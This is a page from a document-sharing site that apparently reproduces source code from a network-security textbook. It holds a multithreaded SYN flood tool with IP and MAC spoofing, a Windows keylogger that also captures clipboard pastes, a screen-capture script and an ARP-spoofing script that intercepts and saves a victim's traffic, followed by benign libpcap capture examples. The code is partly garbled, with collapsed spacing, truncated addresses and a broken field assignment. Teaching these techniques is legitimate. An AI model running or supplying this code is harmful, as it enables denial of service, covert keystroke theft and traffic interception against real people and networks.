版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
第6章拒絕服務(wù)攻擊/*===================================================*基于winpcap的多線程SYNFlood攻擊源代碼*運行平臺:WinXP,Win2k3,WinVista,Win2k8,Win7*編譯環(huán)境:VC6.0+winpcapSDK*====================================================*/#defineWIN32_LEAN_AND_MEAN#define_WSPIAPI_COUNTOF#include<windows.h>#include<winsock2.h>#include<stdio.h>#include<stdlib.h>#include<pcap.h>#include<packet32.h>#pragmacomment(lib,"ws2_32.lib")#pragmacomment(lib,"wpcap.lib")#pragmacomment(lib,"packet.lib")#defineMAXTHREAD 20#defineOID_802_3_CURRENT_ADDRESS 0x01010102#defineOPTION_LENTH 6#defineSYN_DEST_IP "2" //被攻擊的IP#defineSYN_DEST_PORT 80 //被攻擊的PORT#defineFAKE_IP "1" //偽裝的IP#defineFAKE_MAC "\xB8\xAC\x6F\x1F\x26\xF6" //偽裝的MAC//內(nèi)存對齊設(shè)置必須是1#pragmapack(1)typedefstructet_header //以太網(wǎng)首部{ unsignedchar eh_dst[6]; //目的MAC unsignedchar eh_src[6]; //源MAC unsignedshort eh_type; //上層協(xié)議類型}ET_HEADER;typedefstructip_hdr //IP首部{ unsignedchar h_verlen; //版本與首部長度 unsignedchar tos; //區(qū)分服務(wù) unsignedshort total_len; //總長度 unsignedshort ident; //標(biāo)識 unsignedshort frag_and_flags;//3位的標(biāo)志與13位的片偏移 unsignedchar ttl; //生存時間 unsignedchar proto; //協(xié)議 unsignedshort checksum; //首部校驗和 unsignedint sourceIP; //源IP unsignedint destIP; //目的IP}IP_HEADER;typedefstructtcp_hdr //TCP首部{ unsignedshort th_sport; //16位源端口 unsignedshort th_dport; //16位目的端口 unsignedint th_seq; //32位序列號 unsignedint th_ack; //32位確認(rèn)號 unsignedshort th_data_flag; //16位標(biāo)志位 unsignedshort th_win; //16位窗口大小 unsignedshort th_sum; //16位校驗和 unsignedshort th_urp; //16位緊急數(shù)據(jù)偏移量 unsignedint option[OPTION_LENTH];}TCP_HEADER;typedefstructpsd_hdr //TCP偽首部{ unsignedlong saddr; //源地址 unsignedlong daddr; //目的地址 char mbz; char ptcl; //協(xié)議類型 unsignedshort tcpl; //TCP長度}PSD_HEADER;typedefstruct_SYN_PACKET //最終SYN包結(jié)構(gòu){ ET_HEADER eth; //以太網(wǎng)頭部 IP_HEADER iph; //arp數(shù)據(jù)包頭部 TCP_HEADER tcph; //tcp數(shù)據(jù)包頭部}SYN_PACKET;#pragmapack()typedefstruct_PARAMETERS //傳遞給線程的參數(shù)體{ unsignedint srcIP; unsignedint dstIP; unsignedshort dstPort; unsignedchar* srcmac; unsignedchar dstmac[6]; pcap_t* adhandle;}PARAMETERS,*LPPARAMETERS;//獲得網(wǎng)卡的MAC地址unsignedchar*GetSelfMac(char*pDevName){ staticu_charmac[6]; memset(mac,0,sizeof(mac)); LPADAPTERlpAdapter=PacketOpenAdapter(pDevName); if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE)) { returnNULL; } PPACKET_OID_DATAOidData= (PPACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA)); if(OidData==NULL) { PacketCloseAdapter(lpAdapter); returnNULL; } OidData->Oid=OID_802_3_CURRENT_ADDRESS; OidData->Length=6; memset(OidData->Data,0,6); BOOLEANStatus=PacketRequest(lpAdapter,FALSE,OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); returnmac;}//計算校驗和unsignedshortCheckSum(unsignedshort*buffer,intsize){ unsignedlongcksum=0; while(size>1) { cksum+=*buffer++; size-=sizeof(unsignedshort); } if(size) { cksum+=*(unsignedchar*)buffer; } cksum=(cksum>>16)+(cksum&0xffff); cksum+=(cksum>>16); return(unsignedshort)(~cksum);}//封裝ARP請求包voidBuildSYNPacket(SYN_PACKET&packet, unsignedchar*source_mac, unsignedchar*dest_mac, unsignedlongsrcIp, unsignedlongdestIp, unsignedshortdstPort){ PSD_HEADERPsdHeader; //定義以太網(wǎng)頭部 memcpy(packet.eth.eh_dst,dest_mac,6); memcpy(packet.eth.eh_src,source_mac,6); packet.eth.eh_type =htons(0x0800); //ARP協(xié)議類型值為0x0800 //定義IP頭 packet.iph.h_verlen =0; packet.iph.h_verlen =((4<<4)|sizeof(IP_HEADER)/sizeof(unsignedint)); packet.iph.tos =0; packet.iph.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); packet.iph.ident =1; packet.iph.frag_and_flags=htons(1<<14); packet.iph.ttl =128; to =IPPROTO_TCP; packet.iph.checksum =0; packet.iph.sourceIP =srcIp; packet.iph.destIP =destIp; //定義TCP頭 packet.tcph.th_sport=htons(rand()%60000+1024); packet.tcph.th_dport=htons(dstPort); packet.tcph.th_seq =htonl(rand()%900000000+100000); packet.tcph.th_ack =0; packet.tcph.th_data_flag=0; packet.tcph.th_data_flag=(11<<4|2<<8); packet.tcph.th_win =htons(512); packet.tcph.th_sum =0; packet.tcph.th_urp =0; packet.tcph.option[0]=htonl(0X020405B4); packet.tcph.option[1]=htonl(0x01030303); packet.tcph.option[2]=htonl(0x0101080A); packet.tcph.option[3]=htonl(0x00000000); packet.tcph.option[4]=htonl(0X00000000); packet.tcph.option[5]=htonl(0X01010402); //構(gòu)造偽頭部 PsdHeader.saddr=srcIp; PsdHeader.daddr=packet.iph.destIP; PsdHeader.mbz=0; PsdHeader.ptcl=IPPROTO_TCP; PsdHeader.tcpl=htons(sizeof(TCP_HEADER)); BYTEBuffer[sizeof(PsdHeader)+sizeof(TCP_HEADER)]={0}; memcpy(Buffer,&PsdHeader,sizeof(PsdHeader)); memcpy(Buffer+sizeof(PsdHeader),&packet.tcph,sizeof(TCP_HEADER)); packet.tcph.th_sum=CheckSum((unsignedshort*)Buffer, sizeof(PsdHeader)+sizeof(TCP_HEADER)); memset(Buffer,0,sizeof(Buffer)); memcpy(Buffer,&packet.iph,sizeof(IP_HEADER)); packet.iph.checksum=CheckSum((unsignedshort*)Buffer,sizeof(IP_HEADER)); return;}//發(fā)包線程函數(shù)DWORDWINAPISYNFloodThread(LPVOIDlp){ PARAMETERSparam; param=*((LPPARAMETERS)lp); Sleep(10); while(true) { SYN_PACKETpacket; BuildSYNPacket(packet,param.srcmac,param.dstmac, param.srcIP,param.dstIP,param.dstPort); if(pcap_sendpacket(param.adhandle, (constunsignedchar*)&packet, sizeof(packet))==-1) { fprintf(stderr,"pcap_sendpacketerror.\n"); } } return1;}intmain(intargc,char*argv[]){ unsignedlongfakeIp=inet_addr(FAKE_IP); //要偽裝成的IP地址 if(fakeIp==INADDR_NONE) { fprintf(stderr,"InvalidIP:%s\n",FAKE_IP); return-1; } unsignedlongdestIp=inet_addr(SYN_DEST_IP); //目的IP if(destIp==INADDR_NONE) { fprintf(stderr,"InvalidIP:%s\n",SYN_DEST_IP); return-1; } unsignedshortdstPort=SYN_DEST_PORT; //目的端口 if(dstPort<0||dstPort>65535) { fprintf(stderr,"InvalidPort return-1; } pcap_if_t *alldevs; //全部網(wǎng)卡列表 pcap_if_t *d; //一個網(wǎng)卡 pcap_addr_t *pAddr; //網(wǎng)卡地址 charerrbuf[PCAP_ERRBUF_SIZE]; //錯誤緩沖區(qū) if(pcap_findalldevs(&alldevs,errbuf)==-1) //獲得本機網(wǎng)卡列表 { fprintf(stderr,"Errorinpcap_findalldevs:%s\n",errbuf); exit(1); } inti=0; for(d=alldevs;d;d=d->next) { printf("%d",++i); if(d->description) printf(".%s\n",d->description); else printf(".Nodescriptionavailable\n"); } if(i==0) { fprintf(stderr,"\nNointerfacesfound!\n"); return-1; } printf("Entertheinterfacenumber(1-%d):",i); intinum; scanf("%d",&inum);//用戶選擇的網(wǎng)卡序號 if(inum<1||inum>i) { printf("\nInterfacenumberoutofrange.\n"); pcap_freealldevs(alldevs); return-1; } HANDLE threadhandle[MAXTHREAD]; PARAMETERSparam; //設(shè)置目的MAC地址 memcpy(param.dstmac,FAKE_MAC,6); //填充線程的參數(shù)體 param.dstIP=destIp; param.srcIP=fakeIp; param.dstPort=dstPort; //移動指針到用戶選擇的網(wǎng)卡 for(d=alldevs,i=0;i<inum-1;d=d->next,i++); param.srcmac=GetSelfMac(d->name); printf("發(fā)送SYN包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X)試圖偽裝成%s\n", param.srcmac[0], param.srcmac[1], param.srcmac[2], param.srcmac[3], param.srcmac[4], param.srcmac[5],FAKE_IP); if((param.adhandle=pcap_open_live(d->name,65536,0,1000,errbuf))==NULL) { fprintf(stderr,"\nUnabletoopenadapter.\n"); pcap_freealldevs(alldevs); return-1; } pAddr=d->addresses; while(pAddr) { //創(chuàng)建多線程 for(inti=0;i<MAXTHREAD;i++) { threadhandle[i]=CreateThread(NULL,0,SYNFloodThread,(void*)¶m,0,NULL); if(!threadhandle) { printf("CreateThreaderror:%d\n",GetLastError()); } Sleep(100); } pAddr=pAddr->next; } printf("退出請輸入q或者Q!\n"); charcQuit; do{ cQuit=getchar(); }while(cQuit!='q'&&cQuit!='Q'); return0;}
第7章計算機木馬###############################################################################程序名:keylogger.py#功能:利用Python第三方庫PyHook實現(xiàn)鍵盤記錄#說明:運行平臺Windows。它利用Windows的SetWindowsHookEx函數(shù)注冊了一個自#定義的鉤子函數(shù),通過函數(shù)就能截獲用戶的按鍵消息。##############################################################################fromctypesimport*importpythoncomimportpyHookimportwin32clipboarduser32=windll.user32kernel32=windll.kernel32psapi=windll.psapicurrent_window=Nonedefget_current_process():hwnd=user32.GetForegroundWindow()#獲得前臺窗口句柄pid=c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))process_id="%d"%pid.value#獲得進(jìn)程PIDexecutable=create_string_buffer("\x00"*512)h_process=kernel32.OpenProcess(0x400|0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#獲得進(jìn)程名window_title=create_string_buffer("\x00"*512)length=user32.GetWindowTextA(hwnd,byref(window_title),512)#獲得窗口名printprint"[PID:%s-%s-%s]"%(process_id,executable.value,window_title.value)printkernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)defkey_event(event):globalcurrent_windowifevent.WindowName!=current_window:#檢查目標(biāo)是否切換了窗口current_window=event.WindowNameget_current_process()ifevent.Ascii>32andevent.Ascii<127:#檢查是否為常規(guī)按鍵printchr(event.Ascii),else:ifevent.Key=="V":#如果是Ctrl+V,則獲取剪貼板內(nèi)容win32clipboard.OpenClipboard()pasted_value=win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print"[PASTE]-%s"%(pasted_value),else:print"[%s]"%event.Key,returnTrue#返回到下一個鉤子事件defkey_logger():hooker=pyHook.HookManager()#創(chuàng)建鉤子函數(shù)管理器hooker.KeyDown=key_event#注冊鉤子按鍵事件的處理函數(shù)hooker.HookKeyboard()#創(chuàng)建鍵盤鉤子pythoncom.PumpMessages()if__name__=='__main__':key_logger()
###############################################################################程序名:screenshot.py#功能:利用Python第三方庫PyWin32實現(xiàn)截取屏幕功能,將截取的屏幕保存在C盤#上的文件screen.bmp中。#說明:運行平臺Windows。##############################################################################importwin32guiimportwin32uiimportwin32conimportwin32apidefscreen_shot():hdesktop=win32gui.GetDesktopWindow()#獲得桌面窗口句柄#獲得顯示器尺寸width=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)desktop_dc=win32gui.GetWindowDC(hdesktop)#創(chuàng)建設(shè)備描述表img_dc=win32ui.CreateDCFromHandle(desktop_dc)mem_dc=img_dc.CreateCompatibleDC()#創(chuàng)建基于內(nèi)存的設(shè)備描述表screenshot=win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc,width,height)#創(chuàng)建位圖對象mem_dc.SelectObject(screenshot)mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)#復(fù)制屏幕screenshot.SaveBitmapFile(mem_dc,'c:\\screen.bmp')#將位圖保存到文件mem_dc.DeleteDC()#釋放對象win32gui.DeleteObject(screenshot.GetHandle())if__name__=='__main__':screen_shot()
##############################################################################程序名:arpspoof.py#功能:利用Python開發(fā)包Scapy實現(xiàn)ARP欺騙#說明:運行平臺Linux。##############################################################################fromscapy.allimport*importosimportsysimportthreadinginterface="eth0"target_ip="22"gateway_ip=""packet_count=1000spoofing=Truedefget_mac(ip_address):responses,unanswered=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)fors,rinresponses:returnr[Ether].srcreturnNonedefspoof_target(gateway_ip,gateway_mac,target_ip,target_mac):globalspoofingspoof_target=ARP()spoof_target.op=2spoof_target.psrc=gateway_ipspoof_target.pdst=target_ipspoof_target.hwdst=target_macspoof_gateway=ARP()spoof_gateway.op=2spoof_gateway.psrc=target_ipspoof_gateway.pdst=gateway_ipspoof_gateway.hwdst=gateway_macprint"[+]BeginningtheARPspoof.[CTRL+Ctostop]"whilespoofing:send(spoof_target)send(spoof_gateway)time.sleep(2)print"[*]ARPspoofattackfinished."returndefrestore_target(gateway_ip,gateway_mac,target_ip,target_mac):print"[*]Restoringtarget..."send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)defarp_spoof():conf.iface=interfaceconf.verb=0print"[+]Settingup%s"%interfacegateway_mac=get_mac(gateway_ip)#1.獲取網(wǎng)關(guān)MAC地址ifgateway_macisNone:print"[-]FailedtogetgatewayMAC.Exiting."sys.exit(0)else:print"[+]Gateway%sisat%s"%(gateway_ip,gateway_mac)target_mac=get_mac(target_ip)#2.獲取目標(biāo)MAC地址iftarget_macisNone:print"[-]FailedtogettargetMAC.Exiting."sys.exit(0)else:print"[+]Target%sisat%s"%(target_ip,target_mac)print"[+]startspoofthread."spoof_thread=threading.Thread(target=spoof_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))#3.啟動ARP欺騙進(jìn)程spoof_thread.start()try:print"[+]Startingsnifferfor%dpackets"%packet_countbpf_filter="iphost%s"%target_ippackets=sniff(count=packet_count,filter=bpf_filter,iface=interface)#4.抓取目標(biāo)流量exceptKeyboardInterrupt:passfinally:print"[+]Writingpacketstoarpspoof.pcap"wrpcap('arpsoof.pcap',packets)#5.將抓取的流量包寫入到文件spoofing=Falsetime.sleep(2)restore_target(gateway_ip,gateway_mac,target_ip,target_mac)#6.還原網(wǎng)絡(luò)配置sys.exit(0)if__name__=='__main__':arp_spoof()
第9章網(wǎng)絡(luò)監(jiān)聽技術(shù)/**********************************************************************程序9-1:pcaptest1.c的源代碼*功能:捕獲一個網(wǎng)絡(luò)分組,然后分析其類型并打印有關(guān)類型和地址信息。*********************************************************************/#include<stdio.h>#include<stdlib.h>#include<pcap.h>/*有些系統(tǒng)中應(yīng)為pcap/pcap.h*/#include<errno.h>#include<sys/socket.h>#include<netinet/in.h>#include<arpa/inet.h>#include<netinet/if_ether.h>/*包括net/ethernet.h*/intmain(intargc,char**argv){inti;char*dev;charerrbuf[PCAP_ERRBUF_SIZE];pcap_t*descr;constu_char*packet;structpcap_pkthdrhdr;/*結(jié)構(gòu)類型在頭文件pcap.h中定義*/structether_header*eptr;/*結(jié)構(gòu)類型在頭文件net/ethernet.h中定義*/u_char*ptr;/*指向硬件頭文息*/dev=pcap_lookupdev(errbuf);/*查找網(wǎng)絡(luò)設(shè)備*/if(dev==NULL){printf("%s\n",errbuf);exit(1);} else printf("DEV:%s\n",dev);descr=pcap_open_live(dev,BUFSIZ,0,-1,errbuf);/*以非混雜模式打開網(wǎng)絡(luò)設(shè)備*/if(descr==NULL){printf("pcap_open_live():%s\n",errbuf);exit(1);}packet=pcap_next(descr,&hdr);/*從打開的網(wǎng)絡(luò)設(shè)備中捕獲分組*/if(packet==NULL){printf("Didn'tgrabpacket\n");exit(1);}/*成功地捕獲到一個分組*//*結(jié)構(gòu)pcap_pkthdr的定義:structpcap_pkthdr{structtimevalts;timestampbpf_u_int32caplen;lengthofportionpresentbpf_u_int32;lebgththispacket(offwire)}*/printf("Grabbedpacketoflength%d\n",hdr.len);/*分組長度*/printf("Recievedat..%s\n",ctime((consttime_t*)&hdr.ts.tv_sec));/*捕獲時間*/printf("Ethernetaddresslengthis%d\n",ETHER_HDR_LEN);/*以太網(wǎng)地址*//*分析以太網(wǎng)幀頭信息.*/eptr=(structether_header*)packet;if(ntohs(eptr->ether_type)==ETHERTYPE_IP)/*是否是IP包*/{printf("Ethernettypehex:%xdec:%disanIPpacket\n",ntohs(eptr->ether_type),ntohs(eptr->ether_type));}elseif(ntohs(eptr->ether_type)==ETHERTYPE_ARP)/*是否是ARP包*/{printf("Ethernettypehex:%xdec:%disanARPpacket\n",ntohs(eptr->ether_type),ntohs(eptr->ether_type));}else{/*其它類型的包*/printf("Ethernettype%xnotIP",ntohs(eptr->ether_type));exit(1);}/*打印目的地址*/ptr=eptr->ether_dhost;i=ETHER_ADDR_LEN;printf("DestinationAddress:");do{printf("%s%x",(i==ETHER_ADDR_LEN)?"":":",*ptr++);}while(--i>0);printf("\n");/*打印源地址*/ptr=eptr->ether_shost;i=ETHER_ADDR_LEN;printf("SourceAddress:");do{printf("%s%x",(i==ETHER_ADDR_LEN)?"":":",*ptr++);}while(--i>0);printf("\n");return0;}
/*******************************************************************************程序9-2:pcaptest2.c的源代碼*功能:演示如何使用pcap_loop(),主要功能是連續(xù)捕獲指定個數(shù)的網(wǎng)絡(luò)分組后退出。******************************************************************************/#include<pcap.h>#include<stdio.h>#include<stdlib.h>#include<errno.h>#include<sys/socket.h>#include<netinet/in.h>#include<arpa/inet.h>#include<netinet/if_ether.h>/*定義函數(shù)pcap_loop()收到一個分組時的處理函數(shù),這里僅打印收到的分組的序號,并沒有對收到的分組作進(jìn)一步的分析。它作為pcap_loop()的一個傳入?yún)?shù)*/voidmy_callback(u_char*useless,conststructpcap_pkthdr*pkthdr,constu_char*packet){staticintcount=1;fprintf(stdout,"%d,",count);fflush(stdout);count++;}intmain(intargc,char**argv){inti;char*dev;charerrbuf[PCAP_ERRBUF_SIZE];pcap_t*descr;constu_char*packet;structpcap_pkthdrhdr;/*pcap.h*/structether_header*eptr;/*net/ethernet.h*/if(argc!=2){fprintf(stdout,"Usage:%snumpackets\n",argv[0]);return0;}dev=pcap_lookupdev(errbuf);/*查找網(wǎng)絡(luò)設(shè)備*/if(dev==NULL){printf("%s\n",errbuf);exit(1);}/*打開網(wǎng)絡(luò)設(shè)備*/descr=pcap_open_live(dev,BUFSIZ,0,-1,errbuf);if(descr==NULL){printf("pcap_open_live():%s\n",errbuf);exit(1);}/*調(diào)用pcap_loop()捕獲atoi(argv[1])個網(wǎng)絡(luò)分組后函數(shù)返回,每收到一個分組就調(diào)用my_callback()一次*/pcap_loop(descr,atoi(argv[1]),my_callba
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年度充電樁充電費用結(jié)算合同范本4篇
- 2025年度汽車租賃業(yè)務(wù)代購代售綜合服務(wù)合同4篇
- 2025年度汽車零部件專利授權(quán)合同規(guī)范范本4篇
- 2025版信托投資公司外匯投資咨詢合同3篇
- 2025年度門窗行業(yè)環(huán)保技術(shù)研發(fā)與應(yīng)用合同7篇
- 二零二五年度打架私了賠償標(biāo)準(zhǔn)合同范本4篇
- 2025版二手汽車銷售代理合同范本4篇
- 2025年攤位柜臺廣告位租賃轉(zhuǎn)讓合同樣本3篇
- 2025年收養(yǎng)協(xié)議書編寫與合同審核3篇
- 二零二四年度養(yǎng)老地產(chǎn)項目土地股權(quán)轉(zhuǎn)讓合同3篇
- 醫(yī)學(xué)脂質(zhì)的構(gòu)成功能及分析專題課件
- 燃?xì)庑袠I(yè)有限空間作業(yè)安全管理制度
- 數(shù)列練習(xí)題(含答案)基礎(chǔ)知識點
- 人教版(2024新版)七年級上冊英語期中+期末學(xué)業(yè)質(zhì)量測試卷 2套(含答案)
- 2024年湖北省中考數(shù)學(xué)試卷(含答案)
- 油煙機清洗安全合同協(xié)議書
- 2024年云南省中考數(shù)學(xué)試題(原卷版)
- 污水土地處理系統(tǒng)中雙酚A和雌激素的去除及微生物研究
- 氣胸病人的護(hù)理幻燈片
- 《地下建筑結(jié)構(gòu)》第二版(朱合華)中文(2)課件
- JB T 7946.1-2017鑄造鋁合金金相
評論
0/150
提交評論